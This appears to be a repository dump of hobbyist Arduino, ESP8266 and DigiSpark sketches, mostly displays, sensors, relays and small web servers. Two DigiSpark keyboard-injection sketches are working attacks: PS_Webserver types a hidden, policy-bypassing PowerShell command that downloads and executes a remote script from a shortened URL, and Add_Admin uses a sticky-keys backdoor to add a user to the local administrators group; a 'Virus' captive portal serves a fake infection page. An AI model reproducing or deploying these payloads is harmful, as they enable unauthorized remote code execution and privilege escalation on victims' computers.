33 |
34 | void drawDemo() {
35 | display.setFont(ArialMT_Plain_24);
36 | display.setTextAlignment(TEXT_ALIGN_CENTER); // The coordinates define the center of the screen!
37 | display.drawString(xpos%725/2-100,0,"Hello World");
38 |
39 | display.setFont(ArialMT_Plain_16);
40 | display.setTextAlignment(TEXT_ALIGN_LEFT); // The coordinates define the center of the screen!
41 | display.drawString(0,24,"FilmsByKris.com");
42 |
43 | display.setFont(ArialMT_Plain_24);
44 | display.setTextAlignment(TEXT_ALIGN_LEFT); // The coordinates define the center of the screen!
45 | display.drawString(xpos%128,40,"-");
46 | }
47 |
48 | void loop() {
49 | display.clear(); // clear the display
50 | display.setTextAlignment(TEXT_ALIGN_RIGHT);
51 | drawDemo();
52 | display.display();
53 | delay(10);
54 | xpos = xpos + 2;
55 | }
56 |
57 |
58 |
--------------------------------------------------------------------------------
/DigiSpark/keyboard/Windows/PS_Webserver/PS_Webserver.ino:
--------------------------------------------------------------------------------
1 | #include "DigiKeyboard.h"
2 | /*
3 | * Starts a power shell webserver
4 | * that allows for Download, uploading, and command execution
5 | * Copyright Kris Occhipinti Feb 28th 2017
6 | * htttp://FilmsByKris.com
7 | *
8 | This program is free software; you can redistribute it and/or modify
9 | it under the terms of the GNU General Public License as published by
10 | the Free Software Foundation; either version 3 of the License, or
11 | (at your option) any later version.
12 | This program is distributed in the hope that it will be useful,
13 | but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | GNU General Public License for more details.
16 | You should have received a copy of the GNU General Public License
17 | along with this program; if not, write to the Free Software Foundation,
18 | Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
19 |
20 | https://www.gnu.org/licenses/gpl-3.0.txt
21 |
22 | */
23 |
24 |
25 | void setup() {
26 | DigiKeyboard.update();
27 | }
28 |
29 |
30 | void loop() {
31 | delay(100);
32 | DigiKeyboard.update(); // Keeps kepboard connected
33 | delay(100);
34 | // this is generally not necessary but with some older systems it seems to
35 | // prevent missing the first character after a delay:
36 | DigiKeyboard.sendKeyStroke(0);
37 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
38 |
39 | DigiKeyboard.delay(200);
40 |
41 | //load powershell script from remote location
42 | DigiKeyboard.println("powershell -windowstyle hidden -executionpolicy bypass \"IEX (New-Object Net.WebClient).DownloadString('http://tinyurl.com/gpou37e');\"");
43 |
44 | // It's better to use DigiKeyboard.delay() over the regular Arduino delay()
45 | // if doing keyboard stuff because it keeps talking to the computer to make
46 | // sure the computer knows the keyboard is alive and connected
47 | DigiKeyboard.delay(5000);
48 | }
49 |
--------------------------------------------------------------------------------
/ESP8266/CaptivePortal/CaptivePortal.ino:
--------------------------------------------------------------------------------
1 | /*
2 | Captive Portal by: M. Ray Burnette 20150831
3 | See Notes tab for original code references and compile requirements
4 | Sketch uses 300,640 bytes (69%) of program storage space. Maximum is 434,160 bytes.
5 | Global variables use 50,732 bytes (61%) of dynamic memory, leaving 31,336 bytes for local variables. Maximum is 81,920 bytes.
6 | */
7 |
8 | #include
9 | #include "./DNSServer.h" // Patched lib
10 | #include
11 |
12 | int c = 0;
13 |
14 | const byte DNS_PORT = 53; // Capture DNS requests on port 53
15 | IPAddress apIP(10, 10, 10, 1); // Private network for server
16 | DNSServer dnsServer; // Create the DNS object
17 | ESP8266WebServer webServer(80); // HTTP server
18 |
19 | /* Set these to your desired credentials. */
20 | const char *ssid = "Virus";
21 | const char *password = ".....";
22 |
23 | String responseHTML = ""
24 |
25 | "Virus Detected\n"
26 | "
Your Computer Is Now Infected!!!
You are Welcome.
\n"
27 | "\n"
28 | "\n";
29 |
30 |
31 | void portal(){
32 | c++;
33 | webServer.send(200, "text/html", responseHTML);
34 | }
35 |
36 | void setup() {
37 | WiFi.mode(WIFI_AP);
38 | WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));
39 | WiFi.softAP(ssid);
40 |
41 | // if DNSServer is started with "*" for domain name, it will reply with
42 | // provided IP to all DNS request
43 | dnsServer.start(DNS_PORT, "*", apIP);
44 |
45 | // replay to all requests with same HTML
46 | webServer.onNotFound(portal);
47 |
48 | webServer.on("/count", [](){
49 | c--;
50 | String m = String(c, DEC);
51 | webServer.send(200, "text/plain", m);
52 | });
53 |
54 | webServer.begin();
55 | }
56 |
57 | void loop() {
58 | dnsServer.processNextRequest();
59 | webServer.handleClient();
60 | }
61 |
62 |
63 |
64 |
--------------------------------------------------------------------------------
/Arduino/GPS/TinyGPSPlus/TinyGPSPlus.ino:
--------------------------------------------------------------------------------
1 | #include "TinyGPS++.h"
2 | #include "SoftwareSerial.h"
3 |
4 | SoftwareSerial serial_connection(4, 3); //RX=pin 4, TX=pin 3
5 | TinyGPSPlus gps;//This is the GPS object that will pretty much do all the grunt work with the NMEA data
6 | void setup()
7 | {
8 | Serial.begin(9600);//This opens up communications to the Serial monitor in the Arduino IDE
9 | serial_connection.begin(9600);//This opens up communications to the GPS
10 | Serial.println("GPS Start");//Just show to the monitor that the sketch has started
11 | }
12 |
13 | void loop()
14 | {
15 | while(serial_connection.available())//While there are characters to come from the GPS
16 | {
17 | gps.encode(serial_connection.read());//This feeds the serial NMEA data into the library one char at a time
18 | }
19 | if(gps.location.isUpdated())//This will pretty much be fired all the time anyway but will at least reduce it to only after a package of NMEA data comes in
20 | {
21 | //Get the latest info from the gps object which it derived from the data sent by the GPS unit
22 | Serial.println("Satellite Count:");
23 | Serial.println(gps.satellites.value());
24 | Serial.println("Latitude:");
25 | Serial.println(gps.location.lat(), 6);
26 | Serial.println("Longitude:");
27 | Serial.println(gps.location.lng(), 6);
28 | Serial.println("Speed MPH:");
29 | Serial.println(gps.speed.mph());
30 | Serial.println("Altitude Feet:");
31 | Serial.println(gps.altitude.feet());
32 | Serial.println("");
33 | }
34 | }
35 |
36 | /*
37 | * $GPRMC,183729,A,3907.356,N,12102.482,W,000.0,360.0,080301,015.5,E*6F
38 | $GPRMB,A,,,,,,,,,,,,V*71
39 | $GPGGA,183730,3907.356,N,12102.482,W,1,05,1.6,646.4,M,-24.1,M,,*75
40 | $GPGSA,A,3,02,,,07,,09,24,26,,,,,1.6,1.6,1.0*3D
41 | $GPGSV,2,1,08,02,43,088,38,04,42,145,00,05,11,291,00,07,60,043,35*71
42 | $GPGSV,2,2,08,08,02,145,00,09,46,303,47,24,16,178,32,26,18,231,43*77
43 | $PGRME,22.0,M,52.9,M,51.0,M*14
44 | $GPGLL,3907.360,N,12102.481,W,183730,A*33
45 | $PGRMZ,2062,f,3*2D
46 | $PGRMM,WGS 84*06
47 | $GPBOD,,T,,M,,*47
48 | $GPRTE,1,1,c,0*07
49 | $GPRMC,183731,A,3907.482,N,12102.436,W,000.0,360.0,080301,015.5,E*67
50 | $GPRMB,A,,,,,,,,,,,,V*71
51 | */
52 |
--------------------------------------------------------------------------------
/ESP8266/EvilPortal/DNSServer.h:
--------------------------------------------------------------------------------
1 | #ifndef DNSServer_h
2 | #define DNSServer_h
3 | #include
4 |
5 | #define DNS_QR_QUERY 0
6 | #define DNS_QR_RESPONSE 1
7 | #define DNS_OPCODE_QUERY 0
8 |
9 | enum class DNSReplyCode
10 | {
11 | NoError = 0,
12 | FormError = 1,
13 | ServerFailure = 2,
14 | NonExistentDomain = 3,
15 | NotImplemented = 4,
16 | Refused = 5,
17 | YXDomain = 6,
18 | YXRRSet = 7,
19 | NXRRSet = 8
20 | };
21 |
22 | struct DNSHeader
23 | {
24 | uint16_t ID; // identification number
25 | unsigned char RD : 1; // recursion desired
26 | unsigned char TC : 1; // truncated message
27 | unsigned char AA : 1; // authoritive answer
28 | unsigned char OPCode : 4; // message_type
29 | unsigned char QR : 1; // query/response flag
30 | unsigned char RCode : 4; // response code
31 | unsigned char Z : 3; // its z! reserved
32 | unsigned char RA : 1; // recursion available
33 | uint16_t QDCount; // number of question entries
34 | uint16_t ANCount; // number of answer entries
35 | uint16_t NSCount; // number of authority entries
36 | uint16_t ARCount; // number of resource entries
37 | };
38 |
39 | class DNSServer
40 | {
41 | public:
42 | DNSServer();
43 | void processNextRequest();
44 | void setErrorReplyCode(const DNSReplyCode &replyCode);
45 | void setTTL(const uint32_t &ttl);
46 |
47 | // Returns true if successful, false if there are no sockets available
48 | bool start(const uint16_t &port,
49 | const String &domainName,
50 | const IPAddress &resolvedIP);
51 | // stops the DNS server
52 | void stop();
53 |
54 | private:
55 | WiFiUDP _udp;
56 | uint16_t _port;
57 | String _domainName;
58 | unsigned char _resolvedIP[4];
59 | int _currentPacketSize;
60 | unsigned char* _buffer;
61 | DNSHeader* _dnsHeader;
62 | uint32_t _ttl;
63 | DNSReplyCode _errorReplyCode;
64 |
65 | void downcaseAndRemoveWwwPrefix(String &domainName);
66 | String getDomainNameWithoutWwwPrefix();
67 | bool requestIncludesOnlyOneQuestion();
68 | void replyWithIP();
69 | void replyWithCustomCode();
70 | };
71 | #endif
72 |
73 |
--------------------------------------------------------------------------------
/ESP8266/Motors/BasicServoWebHost/BasicServoWebHost.ino:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | Servo myservo; // create servo object to control a servo
7 | int smotor = 4 //Servo Motor Data to GPIO#4 - nodemcu pin D2
8 |
9 | const char* ssid = "....";
10 | const char* password = "....";
11 |
12 | ESP8266WebServer server(80);
13 |
14 | const int led = 13;
15 |
16 | void handleRoot() {
17 | digitalWrite(led, 1);
18 | server.send(200, "text/plain", "Launch!");
19 | myservo.write(180);
20 | delay(1000);
21 | digitalWrite(led, 0);
22 | myservo.write(0);
23 | }
24 |
25 | void handleNotFound(){
26 | digitalWrite(led, 1);
27 | String message = "File Not Found\n\n";
28 | message += "URI: ";
29 | message += server.uri();
30 | message += "\nMethod: ";
31 | message += (server.method() == HTTP_GET)?"GET":"POST";
32 | message += "\nArguments: ";
33 | message += server.args();
34 | message += "\n";
35 | for (uint8_t i=0; i
4 |
5 | #define DNS_QR_QUERY 0
6 | #define DNS_QR_RESPONSE 1
7 | #define DNS_OPCODE_QUERY 0
8 |
9 | enum class DNSReplyCode
10 | {
11 | NoError = 0,
12 | FormError = 1,
13 | ServerFailure = 2,
14 | NonExistentDomain = 3,
15 | NotImplemented = 4,
16 | Refused = 5,
17 | YXDomain = 6,
18 | YXRRSet = 7,
19 | NXRRSet = 8
20 | };
21 |
22 | struct DNSHeader
23 | {
24 | uint16_t ID; // identification number
25 | unsigned char RD : 1; // recursion desired
26 | unsigned char TC : 1; // truncated message
27 | unsigned char AA : 1; // authoritive answer
28 | unsigned char OPCode : 4; // message_type
29 | unsigned char QR : 1; // query/response flag
30 | unsigned char RCode : 4; // response code
31 | unsigned char Z : 3; // its z! reserved
32 | unsigned char RA : 1; // recursion available
33 | uint16_t QDCount; // number of question entries
34 | uint16_t ANCount; // number of answer entries
35 | uint16_t NSCount; // number of authority entries
36 | uint16_t ARCount; // number of resource entries
37 | };
38 |
39 | class DNSServer
40 | {
41 | public:
42 | DNSServer();
43 | void processNextRequest();
44 | void setErrorReplyCode(const DNSReplyCode &replyCode);
45 | void setTTL(const uint32_t &ttl);
46 |
47 | // Returns true if successful, false if there are no sockets available
48 | bool start(const uint16_t &port,
49 | const String &domainName,
50 | const IPAddress &resolvedIP);
51 | // stops the DNS server
52 | void stop();
53 |
54 | private:
55 | WiFiUDP _udp;
56 | uint16_t _port;
57 | String _domainName;
58 | unsigned char _resolvedIP[4];
59 | int _currentPacketSize;
60 | unsigned char* _buffer;
61 | DNSHeader* _dnsHeader;
62 | uint32_t _ttl;
63 | DNSReplyCode _errorReplyCode;
64 |
65 | void downcaseAndRemoveWwwPrefix(String &domainName);
66 | String getDomainNameWithoutWwwPrefix();
67 | bool requestIncludesOnlyOneQuestion();
68 | void replyWithIP();
69 | void replyWithCustomCode();
70 | };
71 | #endif
72 |
73 |
--------------------------------------------------------------------------------
/ESP8266/Displays/Matrix/MatrixPortal/DNSServer.h:
--------------------------------------------------------------------------------
1 | #ifndef DNSServer_h
2 | #define DNSServer_h
3 | #include
4 |
5 | #define DNS_QR_QUERY 0
6 | #define DNS_QR_RESPONSE 1
7 | #define DNS_OPCODE_QUERY 0
8 |
9 | enum class DNSReplyCode
10 | {
11 | NoError = 0,
12 | FormError = 1,
13 | ServerFailure = 2,
14 | NonExistentDomain = 3,
15 | NotImplemented = 4,
16 | Refused = 5,
17 | YXDomain = 6,
18 | YXRRSet = 7,
19 | NXRRSet = 8
20 | };
21 |
22 | struct DNSHeader
23 | {
24 | uint16_t ID; // identification number
25 | unsigned char RD : 1; // recursion desired
26 | unsigned char TC : 1; // truncated message
27 | unsigned char AA : 1; // authoritive answer
28 | unsigned char OPCode : 4; // message_type
29 | unsigned char QR : 1; // query/response flag
30 | unsigned char RCode : 4; // response code
31 | unsigned char Z : 3; // its z! reserved
32 | unsigned char RA : 1; // recursion available
33 | uint16_t QDCount; // number of question entries
34 | uint16_t ANCount; // number of answer entries
35 | uint16_t NSCount; // number of authority entries
36 | uint16_t ARCount; // number of resource entries
37 | };
38 |
39 | class DNSServer
40 | {
41 | public:
42 | DNSServer();
43 | void processNextRequest();
44 | void setErrorReplyCode(const DNSReplyCode &replyCode);
45 | void setTTL(const uint32_t &ttl);
46 |
47 | // Returns true if successful, false if there are no sockets available
48 | bool start(const uint16_t &port,
49 | const String &domainName,
50 | const IPAddress &resolvedIP);
51 | // stops the DNS server
52 | void stop();
53 |
54 | private:
55 | WiFiUDP _udp;
56 | uint16_t _port;
57 | String _domainName;
58 | unsigned char _resolvedIP[4];
59 | int _currentPacketSize;
60 | unsigned char* _buffer;
61 | DNSHeader* _dnsHeader;
62 | uint32_t _ttl;
63 | DNSReplyCode _errorReplyCode;
64 |
65 | void downcaseAndRemoveWwwPrefix(String &domainName);
66 | String getDomainNameWithoutWwwPrefix();
67 | bool requestIncludesOnlyOneQuestion();
68 | void replyWithIP();
69 | void replyWithCustomCode();
70 | };
71 | #endif
72 |
73 |
--------------------------------------------------------------------------------
/ESP8266/Displays/SPI 1.8 TFT/graphicstest/graphicstest.ino:
--------------------------------------------------------------------------------
1 | /*
2 | * ESP Code for 1.8" TFT SPI Display
3 | * This code is not working correctly yet.
4 | * Use the Adafruit_ILI9340 that came with this code
5 | * at the time of writing this the Adafruit_ILI9340 lib
6 | * that is supplied by Arduino doesn't work at all
7 | * (although maybe it does by the time you are reading this)
8 | *
9 | * Pinout:
10 | * LED - 3.3V
11 | * SCK - D5 - GPIO #14
12 | * SDA - D7 - GPIO #13
13 | * AO - D4 - GPIO #02
14 | * RESET - RST
15 | * CS - D1 - GPIO #5
16 | * GND - GND
17 | * VCC - 3.3V
18 | */
19 | #include
20 |
21 | #include
22 | #include
23 |
24 | #if defined(__SAM3X8E__)
25 | #undef __FlashStringHelper::F(string_literal)
26 | #define F(string_literal) string_literal
27 | #endif
28 |
29 | #define _sclk 14
30 | #define _miso 12
31 | #define _mosi 13
32 | #define _cs 15
33 | #define _dc 2
34 | #define _rst 4
35 |
36 | // Using software SPI is really not suggested, its incredibly slow
37 | //Adafruit_ILI9340 tft = Adafruit_ILI9340(_cs, _dc, _mosi, _sclk, _rst, _miso);
38 | // Use hardware SPI
39 | Adafruit_ILI9340 tft = Adafruit_ILI9340(_cs, _dc, _rst);
40 |
41 | void setup() {
42 | Serial.begin(9600);
43 |
44 | Serial.println("Adafruit 2.2\" SPI TFT Test!");
45 |
46 | tft.begin();
47 | //testFillScreen();
48 | delay(2000);
49 | }
50 |
51 | void loop(void) {
52 | for(uint8_t rotation=0; rotation<4; rotation++) {
53 | tft.setRotation(rotation);
54 | testText();
55 | delay(2000);
56 | }
57 | //testFillScreen();
58 | }
59 |
60 |
61 | unsigned long testFillScreen() {
62 | tft.fillScreen(ILI9340_BLACK);
63 | tft.fillScreen(ILI9340_RED);
64 | tft.fillScreen(ILI9340_GREEN);
65 | tft.fillScreen(ILI9340_BLUE);
66 | tft.fillScreen(ILI9340_BLACK);
67 | }
68 |
69 | unsigned long testText() {
70 | tft.fillScreen(ILI9340_BLACK);;
71 | tft.setCursor(0, 0);
72 | tft.setTextColor(ILI9340_WHITE); tft.setTextSize(1);
73 | tft.println("Hello World!");
74 | tft.setTextColor(ILI9340_RED); tft.setTextSize(2);
75 | tft.println("Films By Kris!");
76 | tft.setTextColor(ILI9340_GREEN); tft.setTextSize(1);
77 | tft.println("Is this Backwards?");
78 |
79 | }
80 |
81 |
--------------------------------------------------------------------------------
/DigiSpark/keyboard/Windows/Add_Admin/Add_Admin.ino:
--------------------------------------------------------------------------------
1 | #include "DigiKeyboard.h"
2 | /*
3 | * Starts a cmd after cmd is copied to sethc
4 | * and makes users admin
5 | * Copyright Kris Occhipinti Feb 28th 2017
6 | * htttp://FilmsByKris.com
7 | *
8 | This program is free software; you can redistribute it and/or modify
9 | it under the terms of the GNU General Public License as published by
10 | the Free Software Foundation; either version 3 of the License, or
11 | (at your option) any later version.
12 | This program is distributed in the hope that it will be useful,
13 | but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | GNU General Public License for more details.
16 | You should have received a copy of the GNU General Public License
17 | along with this program; if not, write to the Free Software Foundation,
18 | Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
19 |
20 | https://www.gnu.org/licenses/gpl-3.0.txt
21 |
22 | */
23 |
24 |
25 | void setup() {
26 | DigiKeyboard.update();
27 | }
28 |
29 |
30 | void loop() {
31 | delay(100);
32 | DigiKeyboard.update(); // Keeps kepboard connected
33 | delay(100);
34 | // this is generally not necessary but with some older systems it seems to
35 | // prevent missing the first character after a delay:
36 | DigiKeyboard.sendKeyStroke(0);
37 | DigiKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);
38 | DigiKeyboard.delay(100);
39 | DigiKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);
40 | DigiKeyboard.delay(100);
41 | DigiKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);
42 | DigiKeyboard.delay(100);
43 | DigiKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);
44 | DigiKeyboard.delay(100);
45 | DigiKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);
46 |
47 | DigiKeyboard.delay(200);
48 |
49 | DigiKeyboard.println("cmd");
50 | DigiKeyboard.println("net localgroup administrators /add station24-1");
51 | DigiKeyboard.println("exit");
52 | DigiKeyboard.println("exit");
53 | // It's better to use DigiKeyboard.delay() over the regular Arduino delay()
54 | // if doing keyboard stuff because it keeps talking to the computer to make
55 | // sure the computer knows the keyboard is alive and connected
56 | DigiKeyboard.delay(5000);
57 | }
58 |
--------------------------------------------------------------------------------
/ESP8266/wemos/RelayWebServer/RelayWebServer.ino:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | const int Relay = 5;
7 | const char* ssid = ".....";
8 | const char* password = ".....";
9 |
10 | ESP8266WebServer server(80);
11 |
12 | void handleRoot() {
13 | Serial.println("\n\nClient Connected");
14 | server.send(200, "text/plain", "Activating Relay");
15 | Serial.println("Message Sent");
16 | digitalWrite(LED_BUILTIN, HIGH);
17 | digitalWrite(Relay, HIGH);
18 | Serial.println("Relay On");
19 | delay(2000);
20 | digitalWrite(Relay, LOW);
21 | Serial.println("Relay Off");
22 | digitalWrite(LED_BUILTIN, LOW);
23 | Serial.println("Client Disconnected");
24 | }
25 |
26 | void handleNotFound(){
27 | digitalWrite(LED_BUILTIN,HIGH);
28 | String message = "File Not Found\n\n";
29 | message += "URI: ";
30 | message += server.uri();
31 | message += "\nMethod: ";
32 | message += (server.method() == HTTP_GET)?"GET":"POST";
33 | message += "\nArguments: ";
34 | message += server.args();
35 | message += "\n";
36 | for (uint8_t i=0; i
2 | #include
3 | #include
4 | #include
5 |
6 | const char* ssid = "....";
7 | const char* password = "....";
8 |
9 | ESP8266WebServer server(80);
10 |
11 | int dataPin = 13;
12 |
13 | #include
14 |
15 | RCSwitch mySwitch = RCSwitch();
16 |
17 | void handleRoot() {
18 | if (server.args() > 0 ) {
19 | for ( uint8_t i = 0; i < server.args(); i++ ) {
20 | if (server.argName(i) == "switch") {
21 | server.send(200, "text/plain", server.arg(i));
22 | int code = server.arg(i).toInt();
23 | /* Same switch as above, but using decimal code */
24 | mySwitch.send(code, 24);
25 | delay(1000);
26 |
27 | }
28 | }
29 | }else{
30 | server.send(200, "text/plain", "hello from esp8266!");
31 | }
32 | }
33 |
34 | void handleNotFound(){
35 | String message = "File Not Found\n\n";
36 | message += "URI: ";
37 | message += server.uri();
38 | message += "\nMethod: ";
39 | message += (server.method() == HTTP_GET)?"GET":"POST";
40 | message += "\nArguments: ";
41 | message += server.args();
42 | message += "\n";
43 | for (uint8_t i=0; i
44 |
45 | // initialize the library with the numbers of the interface pins
46 | LiquidCrystal lcd(7, 8, 9, 10, 11, 12);
47 |
48 | void setup() {
49 | // set up the LCD's number of columns and rows:
50 | lcd.begin(16, 2);
51 | // Print a message to the LCD.
52 | lcd.print("www.FilmsByKris.com!");
53 | delay(1000);
54 | }
55 |
56 | void loop() {
57 | // scroll 13 positions (string length) to the left
58 | // to move it offscreen left:
59 | for (int positionCounter = 0; positionCounter < 13; positionCounter++) {
60 | // scroll one position left:
61 | lcd.scrollDisplayLeft();
62 | // wait a bit:
63 | delay(150);
64 | }
65 |
66 | // scroll 29 positions (string length + display length) to the right
67 | // to move it offscreen right:
68 | for (int positionCounter = 0; positionCounter < 29; positionCounter++) {
69 | // scroll one position right:
70 | lcd.scrollDisplayRight();
71 | // wait a bit:
72 | delay(150);
73 | }
74 |
75 | // scroll 16 positions (display length + string length) to the left
76 | // to move it back to center:
77 | for (int positionCounter = 0; positionCounter < 16; positionCounter++) {
78 | // scroll one position left:
79 | lcd.scrollDisplayLeft();
80 | // wait a bit:
81 | delay(150);
82 | }
83 |
84 | // delay at the end of the full loop:
85 | delay(1000);
86 |
87 | }
88 |
89 |
--------------------------------------------------------------------------------
/ESP8266/WaterSwitch/WaterSwitch.ino:
--------------------------------------------------------------------------------
1 | /**
2 | * ESP delay singal for water pump
3 | *
4 | * Created by Kris Occhipinti
5 | * http://filmsbykris.com
6 | * GPLv3 License https://www.gnu.org/licenses/gpl-3.0.txt
7 | */
8 |
9 | #include
10 |
11 | #include
12 | #include
13 |
14 | #include
15 |
16 | #define USE_SERIAL Serial
17 |
18 | ESP8266WiFiMulti WiFiMulti;
19 |
20 | //access point and passphrase
21 | char ap[] = "";
22 | char pass[] = "";
23 |
24 | //urls
25 | char url1[] = "http://URL/1.php";
26 | char url2[] = "http://URL/2.php";
27 |
28 | //delays
29 | int d = 1000;
30 | int d1 = 300000;
31 | int d2 = 60000;
32 |
33 | //connection number
34 | int c = 0;
35 |
36 | void setup() {
37 |
38 | USE_SERIAL.begin(115200);
39 | // USE_SERIAL.setDebugOutput(true);
40 |
41 | USE_SERIAL.println();
42 | USE_SERIAL.println();
43 | USE_SERIAL.println();
44 |
45 | for(uint8_t t = 4; t > 0; t--) {
46 | USE_SERIAL.printf("[SETUP] WAIT %d...\n", t);
47 | USE_SERIAL.flush();
48 | delay(1000);
49 | }
50 |
51 | WiFiMulti.addAP(ap, pass);
52 |
53 | }
54 |
55 | void loop() {
56 | // wait for WiFi connection
57 | if((WiFiMulti.run() == WL_CONNECTED)) {
58 |
59 | HTTPClient http;
60 |
61 | USE_SERIAL.print("[HTTP] begin...\n");
62 | // configure traged server and url
63 | //http.begin("https://192.168.1.12/test.html", "7a 9c f4 db 40 d3 62 5a 6e 21 bc 5c cc 66 c8 3e a1 45 59 38"); //HTTPS
64 |
65 | if( c == 0 ){
66 | c++;
67 | http.begin(url1); //HTTP
68 | d=d1;
69 | }else{
70 | http.begin(url2); //HTTP
71 | d=d2;
72 | }
73 |
74 | USE_SERIAL.print("[HTTP] GET...\n");
75 | // start connection and send HTTP header
76 | int httpCode = http.GET();
77 |
78 | // httpCode will be negative on error
79 | if(httpCode > 0) {
80 | // HTTP header has been send and Server response header has been handled
81 | USE_SERIAL.printf("[HTTP] GET... code: %d\n", httpCode);
82 |
83 | // file found at server
84 | if(httpCode == HTTP_CODE_OK) {
85 | String payload = http.getString();
86 | USE_SERIAL.println(payload);
87 | }
88 | } else {
89 | USE_SERIAL.printf("[HTTP] GET... failed, error: %s\n", http.errorToString(httpCode).c_str());
90 | }
91 |
92 | http.end();
93 |
94 | //delay based on connection number
95 | delay(d);
96 | }else{
97 | //if not connected wait 1 second and try again
98 | delay(d);
99 | }
100 | }
101 |
102 |
103 |
104 |
105 |
106 |
--------------------------------------------------------------------------------
/Arduino/Displays/LCD_Display/1.8_SPI_TFT/basic/basic.ino:
--------------------------------------------------------------------------------
1 | /***************************************************
2 | Pinout for Arduino:
3 | VCC - 5v
4 | GND - GND
5 | CS - pin #10
6 | RESET - pin #9
7 | AD - pin #8
8 | SDA - pin #11
9 | SCK - ping #13
10 | LED - 3.3v
11 |
12 |
13 | ****************************************************/
14 |
15 | #include // Core graphics library
16 | #include // Hardware-specific library
17 | #include
18 |
19 |
20 | // For the breakout, you can use any 2 or 3 pins
21 | // These pins will also work for the 1.8" TFT shield
22 | #define TFT_CS 10
23 | #define TFT_RST 9 // you can also connect this to the Arduino reset
24 | // in which case, set this #define pin to 0!
25 | #define TFT_DC 8
26 |
27 | // Option 1 (recommended): must use the hardware SPI pins
28 | // (for UNO thats sclk = 13 and sid = 11) and pin 10 must be
29 | // an output. This is much faster - also required if you want
30 | // to use the microSD card (see the image drawing example)
31 | Adafruit_ST7735 tft = Adafruit_ST7735(TFT_CS, TFT_DC, TFT_RST);
32 |
33 | // Option 2: use any pins but a little slower!
34 | #define TFT_SCLK 13 // set these to be whatever pins you like!
35 | #define TFT_MOSI 11 // set these to be whatever pins you like!
36 | //Adafruit_ST7735 tft = Adafruit_ST7735(TFT_CS, TFT_DC, TFT_MOSI, TFT_SCLK, TFT_RST);
37 |
38 |
39 | float p = 3.1415926;
40 |
41 | void setup(void) {
42 | Serial.begin(9600);
43 | Serial.print("Hello! ST7735 TFT Test");
44 |
45 | // Use this initializer if you're using a 1.8" TFT
46 | tft.initR(INITR_BLACKTAB); // initialize a ST7735S chip, black tab
47 |
48 | // Use this initializer (uncomment) if you're using a 1.44" TFT
49 | //tft.initR(INITR_144GREENTAB); // initialize a ST7735S chip, black tab
50 |
51 | Serial.println("Initialized");
52 |
53 | uint16_t time = millis();
54 | tft.fillScreen(ST7735_BLACK);
55 | time = millis() - time;
56 |
57 | Serial.println(time, DEC);
58 | delay(500);
59 |
60 | //Rotate screen
61 | tft.setRotation(1);
62 | // tft print function!
63 | tftPrintTest();
64 | delay(500);
65 |
66 |
67 | }
68 |
69 | void loop() {
70 | tft.invertDisplay(true);
71 | delay(500);
72 | tft.invertDisplay(false);
73 | delay(500);
74 | }
75 |
76 |
77 |
78 | void tftPrintTest() {
79 | tft.setRotation(1);
80 | String txt = "Films By Kris";
81 | tft.setTextWrap(false);
82 | //tft.fillScreen(ST7735_BLACK);
83 | tft.setCursor(0, 0);
84 | tft.setTextColor(ST7735_RED);
85 | tft.setTextSize(2);
86 | tft.println(txt);
87 | delay(500);
88 | tft.setTextColor(ST7735_WHITE);
89 | tft.println(txt);
90 | delay(500);
91 | tft.setTextColor(ST7735_YELLOW);
92 | tft.println(txt);
93 | delay(500);
94 | tft.setTextColor(ST7735_BLUE);
95 | tft.println(txt);
96 | delay(500);
97 | tft.setTextColor(ST7735_GREEN);
98 | tft.println(txt);
99 | delay(500);
100 | tft.setTextColor(ST7735_WHITE);
101 | tft.println("");
102 | tft.println(" DOT COM");
103 | delay(2000);
104 | }
105 |
106 |
107 |
--------------------------------------------------------------------------------
/ESP8266/GasSmoke/GasSmoke_Alarm/GasSmoke_Alarm.ino:
--------------------------------------------------------------------------------
1 | /* GAS Sensor MQ-2 Module for ESP8266
2 | This sensor detects flammable gasses
3 | the board has four pins
4 | connect DO to Arduino pin 2
5 | connect Gnd to Arduino Gnd
6 | connect Vcc to Arduino 5 volts
7 | Digital Pins can only be High/Low(on/off)
8 | So we don't know how much Smoke/Gas is in the sensor,
9 | but we can set a threshold and send an alert.
10 | threshold will be set by potentiometer screw on board
11 | */
12 | #include
13 | #include
14 | #include
15 | #include
16 |
17 | const char* ssid = ".....";
18 | const char* password = ".....";
19 |
20 | ESP8266WebServer server(80);
21 |
22 | int sensorPin = A0; // select the input pin for the potentiometer
23 | int DOPin = 2; // select the pin for the LED
24 | int sensorValue = 0; // variable to store the value coming from the sensor
25 | String alert = "OFF"; //sets to 1 if Gas/Smoke detected
26 |
27 | void handleRoot() {
28 | server.send(200, "text/html", "\
29 | \
30 | \
31 | \
32 | \
41 | \
42 | \
43 |
OFF
\
44 | \
45 | ");
46 | }
47 |
48 | void handleNotFound(){
49 | String message = "File Not Found\n\n";
50 | message += "URI: ";
51 | message += server.uri();
52 | message += "\nMethod: ";
53 | message += (server.method() == HTTP_GET)?"GET":"POST";
54 | message += "\nArguments: ";
55 | message += server.args();
56 | message += "\n";
57 | for (uint8_t i=0; i
12 | #include
13 | #include
14 | #include
15 |
16 | const char* ssid = "";
17 | const char* password = "";
18 |
19 | ESP8266WebServer server(80);
20 |
21 | int trigPin = 2; //Trig - green Jumper
22 | int echoPin = 0; //Echo - yellow Jumper
23 | long duration, cm, inches;
24 | String val;
25 | const int led = 5;
26 |
27 | void handleRoot() {
28 | digitalWrite(led, 1);
29 | server.send(200, "text/plain", "hello from esp8266!");
30 | digitalWrite(led, 0);
31 | }
32 |
33 | void handleNotFound(){
34 | digitalWrite(led, 1);
35 | String message = "File Not Found\n\n";
36 | message += "URI: ";
37 | message += server.uri();
38 | message += "\nMethod: ";
